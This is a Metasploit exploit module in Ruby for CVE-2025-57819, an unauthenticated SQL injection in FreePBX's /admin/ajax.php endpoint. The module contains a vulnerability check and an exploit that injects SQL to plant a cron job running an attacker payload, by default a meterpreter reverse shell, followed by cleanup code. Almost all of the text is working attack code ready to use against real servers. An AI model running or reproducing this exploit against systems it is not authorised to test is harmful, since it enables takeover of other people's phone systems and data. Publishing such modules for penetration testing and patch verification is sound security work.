FreePBX ajax.php unauthenticated SQLi to RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX ajax.php unauthenticated SQLi to RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
          and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
          authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
          remote code execution on the target system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Echo_Slow', # msf module
          'Piotr Bazydlo', # POC used as a template
          'Sonny' # POC used as a template
        ],
        'References' => [
          ['CVE', '2025-57819'],
          ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
        ],
        'Platform' => ['linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command',
            {
              'DefaultOptions' =>
              {
                'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'WfsDelay' => 70 # cronjob may take up to a minute to start
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-08-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [false, 'The URI for the FreePBX installation', '/']
        )
      ]
    )
  end

  def check
    print_status('Checking if vulnerable...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
      }
    )

    if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
      return Exploit::CheckCode::Vulnerable('Detected SQL injection')
    end

    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
  end

  def exploit
    module_name = Rex::Text.rand_text_alpha(4..7)
    @job_name = Rex::Text.rand_text_alpha(4..7)

    rce_payload = Rex::Text.rand_text_alpha(4..7)
    rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
    rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => rce_payload
      }
    )

    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
      print_good("Created cronjob with job name: '#{@job_name}'")
      print_status('Waiting for cronjob to trigger...')
    else
      fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
    end
  end

  def cleanup
    super

    return unless @job_name

    # Remove the created cronjob
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
      }
    )

    print_status('Attempting to perform cleanup')

    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
      print_good('Cronjob removed, happy hacking!')
    else
      print_bad('Cronjob not removed, please perform manual cleanup!')
    end
  end
end